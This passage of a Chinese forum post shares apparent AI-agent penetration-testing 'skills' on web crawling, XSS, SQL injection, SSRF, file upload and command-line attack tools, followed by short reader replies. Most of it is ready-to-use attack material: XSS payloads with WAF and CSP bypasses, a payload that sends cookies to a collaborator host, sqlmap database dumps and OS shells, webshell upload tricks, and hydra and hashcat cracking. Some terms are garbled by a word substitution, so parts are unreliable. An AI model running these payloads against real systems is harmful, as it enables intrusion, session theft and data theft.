- 排除无限循环路径(日历、分页等)
**频率控制**
- 设置请求间隔,避免触发 WAF 或被封禁
- 建议初始间隔 100-500ms
- 对生产环境目标适当降低频率
### 2.3 认证处理
**未认证爬取**
- 首先进行未认证爬取,发现公开页面
- 记录登录表单位置和参数
**认证后爬取**
- 使用有效凭据登录后爬取
- 通过 Cookie 或 Token 维持会话
- 对比认证前后的页面差异,发现需要认证的功能
**多角色爬取**
- 使用不同权限的账户分别爬取
- 对比各角色可访问的页面
- 发现越权访问的候选测试点
---
## 3. 信息提取
### 3.1 URL 与参数提取
从爬取结果中提取:
- 完整的 URL 列表(去重后)
- 每个 URL 的查询参数名和示例值
- URL 路径中的动态段(如 `/user/123/profile` 中的 `123`)
- RESTful API 的资源路径模式
**参数分类**
| 参数类型 | 示例 | 测试重点 |
| ---------- | -------------------------------- | -------------------- |
| ID 类 | `id=123`, `uid=456` | IDOR、SQL 注入 |
| 搜索/过滤 | `q=keyword`, `filter=xxx` | SQL 注入、XSS |
| 文件路径 | `file=report.pdf`, `path=/data` | 路径穿越、文件包含 |
| URL/重定向 | `url=http://...`, `redirect=...` | SSRF、开放重定向 |
| 模版/渲染 | `template=xxx`, `view=xxx` | SSTI |
| 命令/操作 | `cmd=ping`, `action=export` | 命令注入 |
| 排序/列名 | `sort=name`, `order=desc` | SQL 注入(ORDER BY) |
### 3.2 表单发现
提取所有表单信息:
- 表单 `action` URL 和 `method`
- 所有 `input` 字段的 `name`、`type`、`value`
- 隐藏字段(可能包含 CSRF Token、内部参数)
- 文件上传字段(`type="file"`)
- `enctype` 属性(`multipart/form-data` 表示可上传文件)
**高价值表单**
- 登录表单 → 暴力娱乐、SQL 注入
- 注册表单 → SQL 注入、XSS(存储型)
- 搜索表单 → SQL 注入、XSS(反射型)
- 评论/反馈表单 → 存储型 XSS
- 文件上传表单 → 文件上传漏洞
- 密码修改表单 → CSRF
- 管理功能表单 → 越权、命令注入
### 3.3 API 端点发现
**从 HTML/JS 中提取**
- JavaScript 文件中的 API URL
- AJAX 请求的端点
- 前端路由配置
**常见 API 模式**
```
/api/v1/users
/api/v1/users/{id}
/api/v1/users/{id}/profile
/graphql
/graphql/playground
/.well-known/openapi.json
/swagger.json
/swagger-ui.html
/api-docs
```
**API 文档发现**
- Swagger/OpenAPI: `/swagger.json`, `/v2/api-docs`, `/openapi.yaml`
- GraphQL: `/graphql` (introspection query)
- WADL: `/application.wadl`
### 3.4 敏感信息发现
在爬取过程中关注:
- 注释中的敏感信息(`<!-- TODO: remove before production -->`)
- JavaScript 中硬编码的 API Key、Token
- 错误页面泄露的技术栈信息
- robots.txt 和 sitemap.xml 中的隐藏路径
- .env、.git、.svn 等配置文件暴露
- 备份文件(.bak, .old, .swp, ~)
---
## 4. JavaScript 分析
### 4.1 JS 文件收集
爬虫应收集所有引用的 JavaScript 文件:
- `<script src="...">` 引用的外部 JS
- 内联 `<script>` 块中的代码
- 动态加载的 JS(通过 XHR/Fetch)
### 4.2 JS 中的信息提取
从 JavaScript 文件中提取:
- API 端点 URL(`fetch('/api/...')`, `axios.get('/api/...')`)
- 路由定义(前端路由配置)
- 硬编码的凭据或密钥
- WebSocket 端点
- 第三方服务集成信息
**正则提取模式**
```
# API 端点
("|')(/api/[a-zA-Z0-9/_-]+)("|')
("|')(https?://[^"']+)("|')
# 密钥
(api[_-]?key|apikey|secret|token|password)\s*[:=]\s*["'][^"']+["']
# AWS Key
AKIA[0-9A-Z]{16}
```
### 4.3 JavaScript 渲染页面
对于 SPA (Single Page Application):
- 需要使用无头浏览器(Headless Browser)执行 JavaScript
- 等待异步加载完成后再提取 DOM
- 模拟用户交互(点击、滚动)触发动态内容加载
- 监听网络请求捕获 API 调用
---
## 5. 爬取结果分析
### 5.1 站点地图构建
将爬取结果组织为树形结构:
```
target.com
├── / (首页)
├── /login (登录)
├── /register (注册)
├── /user/
│ ├── /user/profile (个人资料)
│ └── /user/settings (设置)
├── /api/
│ ├── /api/v1/users
│ ├── /api/v1/posts
│ └── /api/v1/upload
├── /admin/ (管理后台)
│ ├── /admin/dashboard
│ └── /admin/users
└── /search (搜索)
```
### 5.2 攻击面评估
对每个发现的功能点评估潜在风险:
| 功能点 | 输入参数 | 潜在漏洞 | 测试优先级 |
| ------------------ | ----------- | -------------- | ---------- |
| /search?q= | q (搜索词) | SQL 注入, XSS | 高 |
| /api/v1/users/{id} | id (用户ID) | IDOR, SQL 注入 | 高 |
| /upload | file (文件) | 文件上传漏洞 | 高 |
| /user/profile | name, bio | 存储型 XSS | 中 |
| /admin/* | - | 未授权访问 | 高 |
### 5.3 与漏洞测试的衔接
爬取完成后,将结果按漏洞类型分组,传递给对应的测试技能:
1. **注入测试组**:所有带参数的 URL → sql-injection, command-injection, template-injection
2. **XSS 测试组**:所有参数在响应中有反射的 URL → xss-testing
3. **认证测试组**:登录/注册/密码功能 → 暴力娱乐、Session 测试
4. **越权测试组**:带 ID 参数的 API → IDOR 测试
5. **文件操作组**:上传/下载功能 → 文件上传、路径穿越
6. **SSRF 测试组**:接受 URL 参数的端点 → SSRF 测试
---
## 6. 目录扫描补充
爬虫可能遗漏的路径通过字典扫描补充:
### 6.1 常见敏感路径
```
/.git/config
/.svn/entries
/.env
/.env.production
/.env.local
/backup/
/backup.sql
/database.sql
/wp-config.php.bak
/config.yml
/config.json
/.htaccess
/server-status
/server-info
/phpinfo.php
/info.php
/test.php
/debug/
/console/
/actuator/
/actuator/env
/actuator/health
/metrics
/trace
/heapdump
```
### 6.2 管理后台路径
```
/admin/
/administrator/
/manage/
/management/
/backend/
/dashboard/
/portal/
/cp/
/controlpanel/
/webmaster/
```
---
## 7. 爬虫检查清单
- [ ] 未认证爬取完成
- [ ] 认证后爬取完成(如有凭据)
- [ ] URL 列表提取并去重
- [ ] 参数列表提取并分类
- [ ] 表单发现并记录
- [ ] API 端点发现并记录
- [ ] JavaScript 文件分析完成
- [ ] 敏感信息收集完成
- [ ] robots.txt / sitemap.xml 检查完成
- [ ] 目录扫描补充完成
- [ ] 站点地图构建完成
- [ ] 攻击面评估完成
- [ ] 测试目标分组完成,准备交接给漏洞测试
二、XSS 跨站娱乐测试技能
# XSS 跨站娱乐测试技能
系统化检测和验证 Web 应用中的跨站娱乐(XSS)漏洞。
通过分层 Payload 注入、上下文感知的编码变换和响应分析,
定位未经正确过滤/转义的用户输入输出点。
---
## 1. XSS 分类与识别
### 1.1 反射型 XSS (Reflected)
用户输入通过 HTTP 请求参数直接反射到响应页面中。
识别特征:
- URL 参数值出现在 HTML 响应体中
- 搜索框、错误消息、表单回填等场景
- 服务端未对输出进行 HTML 实体编码
测试入口:
- GET/POST 参数
- HTTP Header(Referer、User-Agent、X-Forwarded-For)
- URL 路径段(path segment)
- Fragment 不直接发送到服务端,但可能被 JavaScript 读取
### 1.2 存储型 XSS (Stored)
用户输入被持久化存储,在其他用户访问时触发。
高危存储点:
- 用户评论、留言板、论坛帖子
- 用户个人资料(昵称、签名、头像 URL)
- 文件名(上传文件后展示)
- 日志查看界面(管理后台展示用户输入)
- 邮件内容(Webmail 客户端)
### 1.3 DOM 型 XSS (DOM-based)
前端 JavaScript 直接使用不可信数据操作 DOM。
危险 Sink:
- `document.write()` / `document.writeln()`
- `element.innerHTML` / `element.outerHTML`
- `element.insertAdjacentHTML()`
- `eval()` / `setTimeout(string)` / `setInterval(string)`
- `new Function(string)`
- `location.href` / `location.assign()` / `location.replace()`
- `jQuery.html()` / `jQuery.append()` / `$()`
危险 Source:
- `location.hash` / `location.search` / `location.href`
- `document.referrer`
- `document.cookie`
- `window.name`
- `postMessage` 事件的 `event.data`
- Web Storage(localStorage / sessionStorage)
---
## 2. 测试方法论
### 2.1 第一阶段:输入点枚举
1. 爬取目标站点,收集所有表单、URL 参数、API 端点
2. 识别每个参数在响应中的反射位置
3. 记录反射上下文(HTML body、属性值、JavaScript、CSS、URL)
### 2.2 第二阶段:探测注入
使用无害探针确认反射行为:
```
canary_string_12345
<canary>
"canary"
'canary'
```
分析响应中探针的变化:
- 是否被原样返回
- 是否被 HTML 编码(`<` → `<`)
- 是否被删除或截断
- 是否被 URL 编码
- 上下文位置(标签内容、属性值、娱乐块)
### 2.3 第三阶段:上下文适配 Payload
根据探测结果选择对应的 Payload 策略(见第 3 节)。
### 2.4 第四阶段:绕过验证
针对发现的过滤规则,尝试绕过手段(见第 4 节)。
### 2.5 第五阶段:影响评估
成功触发后评估实际影响:
- 能否窃取 Cookie(HttpOnly 标志?)
- 能否发起跨站请求
- 能否读取页面内容(同源策略边界?)
- CSP 策略是否限制内联娱乐执行
---
## 3. 分层 Payload 集合
### 3.1 HTML 上下文(标签内容区)
当输入反射在 `<div>`, `<p>`, `<td>` 等标签的文本内容中:
```html
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<iframe srcdoc="<script>alert(1)</script>">
```
### 3.2 HTML 属性上下文
当输入反射在 HTML 属性值中,如 `<input value="USER_INPUT">`:
```html
" onfocus=alert(1) autofocus="
" onmouseover=alert(1) "
"><script>alert(1)</script>
'><img src=x onerror=alert(1)>
" style="background:url(javascript:alert(1))
```
如果属性未加引号 `<input value=USER_INPUT>`:
```html
onfocus=alert(1) autofocus
onmouseover=alert(1)
```
### 3.3 JavaScript 上下文
当输入反射在 `<script>` 块内部,如 `var x = "USER_INPUT"`:
```javascript
";alert(1)//
';alert(1)//
\";alert(1)//
</script><script>alert(1)</script>
```
模板字面量上下文 `` var x = `USER_INPUT` ``:
```javascript
${alert(1)}
```
### 3.4 URL 上下文
当输入反射在 `href` 或 `src` 属性中,如 `<a href="USER_INPUT">`:
```
javascript:alert(1)
data:text/html,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
```
### 3.5 CSS 上下文
当输入反射在 `<style>` 或 `style` 属性中:
```css
expression(alert(1))
url(javascript:alert(1))
</style><script>alert(1)</script>
```
---
## 4. WAF 绕过与编码策略
### 4.1 大小写混淆
```html
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x OnErRoR=alert(1)>
```
### 4.2 HTML 实体编码
```html
<img src=x onerror=alert(1)>
<a href="javascript:alert(1)">click</a>
<a href="javascript:alert(1)">click</a>
```
### 4.3 Unicode 编码
```javascript
\u0061\u006c\u0065\u0072\u0074(1)
```
### 4.4 标签变形
```html
<scr<script>ipt>alert(1)</scr</script>ipt>
<scr%00ipt>alert(1)</script>
<<script>script>alert(1)</script>
```
### 4.5 事件处理器替代
当 `onerror` 被过滤时,使用其他事件:
```html
<svg/onload=alert(1)>
<body/onhashchange=alert(1)>
<input/onfocus=alert(1) autofocus>
<details/open/ontoggle=alert(1)>
<marquee/onstart=alert(1)>
<video/src/onerror=alert(1)>
<isindex type=image src=x onerror=alert(1)>
```
### 4.6 括号替代
当 `()` 被过滤:
```html
<img src=x onerror=alert`1`>
<img src=x onerror=alert(1)>
<img src=x onerror="window['alert'](1)">
<svg onload="top[/al/.source+/ert/.source](1)">
```
### 4.7 空格替代
```html
<svg/onload=alert(1)>
<svg onload=alert(1)>
<svg%0aonload=alert(1)>
<svg%0donload=alert(1)>
<svg%09onload=alert(1)>
```
### 4.8 JavaScript 关键字绕过
当 `alert` 被过滤:
```javascript
confirm(1)
prompt(1)
window['al'+'ert'](1)
top[/al/.source+/ert/.source](1)
self['alert'](1)
[]['constructor']['constructor']('return alert(1)')()
```
---
## 5. CSP 绕过参考
### 5.1 常见 CSP 弱点
| CSP 配置 | 绕过方法 |
| ---------------------------- | -------------------------------------------------- |
| `script-src 'unsafe-inline'` | 直接内联娱乐 |
| `script-src 'unsafe-eval'` | `eval()`, `setTimeout(string)` |
| `script-src cdn.example.com` | 寻找 CDN 上的 JSONP 端点或 Angular 等库 |
| `script-src 'self'` | 寻找同源的文件上传或 JSONP 端点 |
| `script-src 'nonce-xxx'` | 如果 nonce 可预测或在注入点之后生成 |
| `script-src data:` | `<script src="data:text/javascript,alert(1)">` |
| 缺少 `base-uri` | `<base href="https://attacker.com/">` 劫持相对路径 |
| 缺少 `object-src` | `<object data="data:text/html,...">` |
### 5.2 CSP 绕过 Payload
```html
<script nonce="correct-nonce">alert(1)</script>
<script src="https://allowed-cdn.com/jsonp?callback=alert(1)//">
<base href="https://attacker.com/"><script src="/legit-path.js"></script>
<object data="data:text/html,<script>alert(1)</script>">
```
---
## 6. 测试检查清单
- [ ] 枚举所有用户输入反射点(URL 参数、表单字段、Header)
- [ ] 确认每个反射点的 HTML 上下文
- [ ] 测试基础 Payload(`<script>alert(1)</script>`)
- [ ] 测试上下文适配 Payload(属性逃逸、JS 逃逸等)
- [ ] 检查服务端过滤规则并尝试绕过
- [ ] 检查 CSP 策略及其可绕过性
- [ ] 检查 Cookie 的 HttpOnly 标志
- [ ] 评估存储型 XSS 的可能性
- [ ] 检查 DOM XSS(分析前端 JS 中的 source-sink 链)
- [ ] 记录所有发现,包含完整的重现步骤
三、Web 漏洞评估手册
## SQL 注入检测
### 检测流程
1. **识别输入点**:GET/POST 参数、Cookie、HTTP 头(X-Forwarded-For、Referer、User-Agent)
2. **基础探测**:
```
原始值: id=1
测试1: id=1' → 观察是否报错
测试2: id=1' AND '1'='1 → 观察是否正常
测试3: id=1' AND '1'='2 → 观察是否异常
测试4: id=1 AND 1=1 → 数字型测试
测试5: id=2-1 → 算术测试
```
3. **确认注入**:使用 time-based 做最终确认
```sql
id=1' AND SLEEP(5)-- - -- MySQL
id=1'; WAITFOR DELAY '0:0:5'-- - -- MSSQL
id=1' AND pg_sleep(5)-- - -- PostgreSQL
```
### 自动化检测
```bash
# sqlmap 基础检测
sqlmap -u "https://target.com/api?id=1" --batch --level=3 --risk=2
# 从 Burp 日志批量测试
sqlmap -l burp-log.txt --batch --level=3
# POST 参数
sqlmap -u "https://target.com/login" --data "user=admin&pass=test" --batch
# Cookie 注入
sqlmap -u "https://target.com/profile" --cookie "user_id=1" -p user_id --batch
# Header 注入
sqlmap -u "https://target.com/" --headers="X-Forwarded-For: 1*" --batch
```
### WAF 绕过策略
```bash
# sqlmap tamper 组合
sqlmap -u URL --tamper=space2comment,娱乐ween,randomcase --random-agent --delay=2
# 手动绕过
# 1. 内联注释: /*!50000SELECT*/ /*!50000UNION*/
# 2. 换行: %0aSELECT
# 3. HPP: ?id=1&id=' UNION SELECT 1--(参数污染)
# 4. 分块传输: Transfer-Encoding: chunked
```
---
## XSS 检测
### 检测流程
1. **找反射点**:输入唯一标记(如 `xss_test_12345`),搜索响应中是否出现
2. **确定上下文**:
- HTML 标签内容:`<div>REFLECTED</div>` → 尝试 `<script>alert(1)</script>`
- HTML 属性中:`<input value="REFLECTED">` → 尝试 `" onfocus=alert(1) autofocus "`
- JavaScript 中:`var x="REFLECTED"` → 尝试 `";alert(1)//`
- URL 中:`<a href="REFLECTED">` → 尝试 `javascript:alert(1)`
3. **绕过过滤**:根据被过滤的字符选择绕过方法
### 存储型 XSS 检测
```
# 在所有持久化输入点注入:
# 用户名、个人简介、评论、文件名、反馈表单
# Payload:
<img src=x onerror=fetch('https://COLLABORATOR/?c='+document.cookie)>
```
### CORS 配置检测
```bash
# 测试 Origin 反射
curl -sI -H "Origin: https://evil.com" https://target.com/api | grep -i "access-control"
# 测试 null origin
curl -sI -H "Origin: null" https://target.com/api | grep -i "access-control"
# 危险配置:
# Access-Control-Allow-Origin: * (如果带 credentials)
# Access-Control-Allow-Origin: [反射任意 Origin]
# Access-Control-Allow-Credentials: true
```
---
## SSRF 检测
### 检测方法
```bash
# 1. 直接回连检测
# 在参数中传入自己控制的服务器地址
url=http://YOUR_SERVER/ssrf-test
# 检查服务器是否收到请求
# 2. 带外检测(OOB)
url=http://BURP_COLLABORATOR/ssrf
# 3. 内网探测
url=http://127.0.0.1:PORT
url=http://169.254.169.254/ # 云元数据
# 4. 协议探测
url=file:///etc/passwd
url=dict://127.0.0.1:6379/info
url=gopher://127.0.0.1:6379/_INFO
```
### 常见触发点
```
# URL 参数
?url=&redirect=&callback=&next=&link=&src=&image=&file=
?proxy=&load=&target=&fetch=&page=&content=&feed=
# 文件导入功能
# PDF 生成(wkhtmltopdf、puppeteer)
# 图片处理(ImageMagick)
# Webhook URL
# 富文本编辑器(加载远程图片)
```
---
## 认证与授权测试
### 认证绕过
```
# 1. 默认凭证测试
admin:admin / admin:password / admin:123456 / root:root / test:test
# 2. 密码重置漏洞
# - Host 头注入:Host: evil.com(重置链接指向攻击者)
# - 可预测的重置 Token
# - 密码重置 Token 不过期
# 3. 多因素认证绕过
# - 直接访问认证后页面
# - 修改响应(将 "mfa_required" 改为 false)
# - 暴力娱乐 OTP
# 4. JWT 安全
# - alg: none 攻击
# - 算法混淆(RS256 → HS256)
# - 弱密钥爆破
# 详见 ctf-web/crypto-web.md#jwt-攻击
```
### 授权缺陷(IDOR / 越权)
```bash
# 水平越权:修改 ID 参数访问其他用户数据
GET /api/users/1001 → 200 OK(自己的数据)
GET /api/users/1002 → 200 OK(他人的数据 = IDOR)
# 垂直越权:低权限用户访问管理功能
# 以普通用户 Session 请求管理 API
curl -b "session=USER_SESSION" https://target.com/admin/users
# 参数篡改
POST /api/profile {"role": "admin"}
POST /api/order {"price": 0.01}
# HTTP 方法篡改
# 某些框架仅对 GET/POST 做权限检查
PUT /admin/config # 可能绕过
PATCH /admin/users/1
```
---
## 业务逻辑漏洞
```
# 竞争条件
# - 优惠券重复使用
# - 余额并发提取
# - 库存超卖
# 用并发请求测试:
for i in $(seq 1 20); do
curl -s -X POST https://target.com/api/redeem -d "coupon=GIFT100" -b "session=xxx" &
done
wait
# 整数溢出/下溢
# - 负数金额转账
# - 数量设为 -1
# 流程跳过
# - 跳过支付步骤直接确认订单
# - 跳过验证步骤直接修改密码
# 批量操作滥用
# - 用户枚举(注册/登录/重置不同提示)
# - 邮件轰炸(重复触发通知)
```
---
## 信息泄露检查
```bash
# 响应头信息泄露
curl -sI https://target.com | grep -iE "server|x-powered|x-aspnet|x-debug"
# 错误信息泄露
curl -s "https://target.com/api/undefined" | head -50
curl -s "https://target.com/api?id='" | head -50
# 调试接口
/debug /console /trace /phpinfo.php /_profiler
/actuator/env /actuator/heapdump /swagger-ui.html
# .env / 配置文件
/.env /config.php /wp-config.php /application.yml
/web.config /appsettings.json /.git/config
# 目录列表
# 检查目录是否开启索引
for dir in /uploads /backup /temp /logs /static; do
resp=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com$dir/")
echo "$dir: HTTP $resp"
done
# HTTP 安全头缺失
# X-Frame-Options / X-Content-Type-Options / Content-Security-Policy
# Strict-Transport-Security / X-XSS-Protection
```
---
## 文件上传检测
### 测试策略
```
1. 上传正常文件确认功能正常
2. 尝试上传 WebShell:
- 原始 .php/.jsp/.aspx 后缀
- 双后缀:shell.php.jpg
- 大小写:shell.pHp
- 空字节截断:shell.php%00.jpg (旧版本)
- 特殊后缀:.phtml .php3 .php5 .phar .shtml .jspx
- 竞争条件上传
3. 测试 MIME 类型绕过(修改 Content-Type)
4. 测试文件头绕过(GIF89a + webshell)
5. 上传 .htaccess / .user.ini 修改解析规则
6. 上传 SVG(可能触发 XSS/SSRF)
7. 上传 XML(可能触发 XXE)
```
### 路径穿越上传
```
filename="../../../etc/cron.d/backdoor"
filename="....//....//shell.php"
```
四、命令行 Web 测试工具
# 命令行 Web 测试工具
替代 Burp Suite 的命令行工具集,适合自动化和娱乐化测试。
## HTTP 请求工具
### curl
```bash
# GET 请求
curl -s https://target.com/api/users
# POST (form)
curl -s -X POST https://target.com/login -d "user=admin&pass=test"
# POST (JSON)
curl -s -X POST https://target.com/api -H "Content-Type: application/json" -d '{"key":"value"}'
# 带 Cookie
curl -s -b "session=abc123" https://target.com/admin
# 带自定义头
curl -s -H "Authorization: Bearer TOKEN" -H "X-Custom: value" https://target.com/api
# 查看响应头
curl -sI https://target.com
curl -sv https://target.com 2>&1 | grep -E "^[<>]"
# 跟随重定向
curl -sL https://target.com/redirect
# 忽略 SSL 证书
curl -sk https://self-signed.target.com
# 上传文件
curl -s -X POST https://target.com/upload -F "file=@shell.php"
# 代理
curl -s -x http://127.0.0.1:8080 https://target.com
```
### httpie
```bash
# GET
http https://target.com/api
# POST
http POST https://target.com/api key=value
# 带认证
http -a admin:password https://target.com/api
# 带 Header
http https://target.com/api "Authorization: Bearer TOKEN"
```
---
## Web 模糊测试
### ffuf
```bash
# 目录模糊
ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302,403
# 参数模糊
ffuf -u "https://target.com/api?FUZZ=test" -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc 200 -fs 0
# 子域名模糊
ffuf -u https://FUZZ.target.com -w subdomains.txt -mc 200
# vhost 模糊
ffuf -u https://target.com -H "Host: FUZZ.target.com" -w subdomains.txt -mc 200 -fs DEFAULT_SIZE
# POST 参数模糊
ffuf -u https://target.com/login -X POST -d "user=admin&pass=FUZZ" -w passwords.txt -mc 200 -fr "Invalid"
# 多字段模糊
ffuf -u https://target.com/login -X POST -d "user=USERFUZZ&pass=PASSFUZZ" -w users.txt:USERFUZZ -w passwords.txt:PASSFUZZ -mc 200
# 过滤选项
-mc 200,301 # 匹配状态码
-fc 404,403 # 排除状态码
-ms 1000 # 匹配响应大小
-fs 0 # 排除响应大小
-mr "Success" # 匹配正则
-fr "Error" # 排除正则
-fl 10 # 排除行数
# 输出
-o results.json -of json
```
### wfuzz
```bash
# 目录模糊
wfuzz -w /usr/share/wordlists/dirb/common.txt --hc 404 https://target.com/FUZZ
# 参数模糊
wfuzz -w params.txt --hc 404 "https://target.com/api?FUZZ=test"
# POST 模糊
wfuzz -w passwords.txt -d "user=admin&pass=FUZZ" --hc 403 https://target.com/login
# 多 payload
wfuzz -w users.txt -w passwords.txt -d "user=FUZZ&pass=FUZ2Z" https://target.com/login
# Cookie 模糊
wfuzz -w wordlist.txt -b "session=FUZZ" --hc 403 https://target.com/admin
```
---
## SQL 注入工具
### sqlmap
```bash
# 基础检测
sqlmap -u "https://target.com/api?id=1" --batch
# POST 请求
sqlmap -u "https://target.com/login" --data "user=admin&pass=test" --batch
# 指定注入点
sqlmap -u "https://target.com/api?id=1*&name=test" --batch # * 标记注入点
# 从 Burp 请求文件
sqlmap -r request.txt --batch
# 枚举数据库
sqlmap -u URL --dbs --batch
sqlmap -u URL -D database_name --tables --batch
sqlmap -u URL -D database_name -T table_name --columns --batch
sqlmap -u URL -D database_name -T table_name -C col1,col2 --dump --batch
# 获取 Shell
sqlmap -u URL --os-shell --batch
sqlmap -u URL --sql-shell --batch
# 绕过 WAF
sqlmap -u URL --tamper=space2comment,娱乐ween,randomcase --batch
sqlmap -u URL --random-agent --delay=1 --batch
# 常用 tamper 娱乐
# space2comment 空格转注释
# 娱乐ween 用 BETWEEN 替换 >
# randomcase 随机大小写
# charencode URL 编码
# equaltolike = 转 LIKE
# base64encode Base64 编码
# 指定技术
--technique=BEUSTQ # B布尔 E报错 U联合 S堆叠 T时间 Q内联
--level=5 # 测试级别 (1-5)
--risk=3 # 风险级别 (1-3)
```
---
## 流量拦截代理
### mitmproxy
```bash
# 启动代理
mitmproxy -p 8080
# 透明代理
mitmproxy --mode transparent
# 娱乐模式(自动化修改请求/响应)
mitmproxy -s script.py
# 仅记录
mitmdump -p 8080 -w traffic.flow
# 回放
mitmdump -r traffic.flow
# 过滤
mitmproxy -p 8080 --set view_filter="~d target.com"
```
mitmproxy 娱乐示例:
```python
from mitmproxy import http
def request(flow: http.HTTPFlow):
if "target.com" in flow.request.host:
flow.request.headers["X-Custom"] = "injected"
def response(flow: http.HTTPFlow):
if "admin" in flow.request.path:
print(f"[*] Admin access: {flow.request.url}")
print(f" Status: {flow.response.status_code}")
print(f" Body: {flow.response.text[:200]}")
```
---
## 漏洞扫描
### nuclei
```bash
# 全模板扫描
nuclei -u https://target.com
# 指定严重级别
nuclei -u https://target.com -severity critical,high
# 指定标签
nuclei -u https://target.com -tags cve,misconfig,exposure
# 批量目标
nuclei -l urls.txt -severity critical,high -o results.txt
# 指定模板
nuclei -u https://target.com -t cves/
nuclei -u https://target.com -t http/misconfiguration/
# 并发控制
nuclei -u https://target.com -c 50 -rl 150 # 50 并发,150 请求/秒
# 更新模板
nuclei -ut
```
---
## 密码娱乐
### hydra
```bash
# SSH
hydra -L users.txt -P passwords.txt ssh://TARGET -t 4
# FTP
hydra -L users.txt -P passwords.txt ftp://TARGET -t 10
# HTTP POST 表单
hydra -L users.txt -P passwords.txt TARGET http-post-form "/login:user=^USER^&pass=^PASS^:Invalid credentials" -t 10
# HTTP Basic Auth
hydra -L users.txt -P passwords.txt TARGET http-get /admin
# MySQL
hydra -L users.txt -P passwords.txt mysql://TARGET
# RDP
hydra -L users.txt -P passwords.txt rdp://TARGET -t 4
# SMB
hydra -L users.txt -P passwords.txt smb://TARGET
```
### hashcat
```bash
# 识别哈希类型
hashid 'HASH_VALUE'
hashcat --identify hash.txt
# 常见模式
hashcat -m 0 hash.txt wordlist.txt # MD5
hashcat -m 100 hash.txt wordlist.txt # SHA1
hashcat -m 1400 hash.txt wordlist.txt # SHA256
hashcat -m 1000 hash.txt wordlist.txt # NTLM
hashcat -m 3200 hash.txt wordlist.txt # bcrypt
hashcat -m 1800 hash.txt wordlist.txt # sha512crypt
hashcat -m 500 hash.txt wordlist.txt # md5crypt
hashcat -m 16500 hash.txt wordlist.txt # JWT
# 规则攻击
hashcat -m 0 hash.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule
# 掩码攻击
hashcat -m 0 hash.txt -a 3 ?a?a?a?a?a?a # 6 位全字符
hashcat -m 0 hash.txt -a 3 ?u?l?l?l?d?d?d?d # 如 Admin1234
# 字符集
# ?l 小写 / ?u 大写 / ?d 数字 / ?s 特殊 / ?a 全部
```
网友解答:
--【壹】--:
你说我用cc跑你这个skill去挖SRC,能回本吗
--【贰】--:
感谢大佬
--【叁】--:
感谢分享
--【肆】--:
最近在学习这方面的知识,感谢佬!

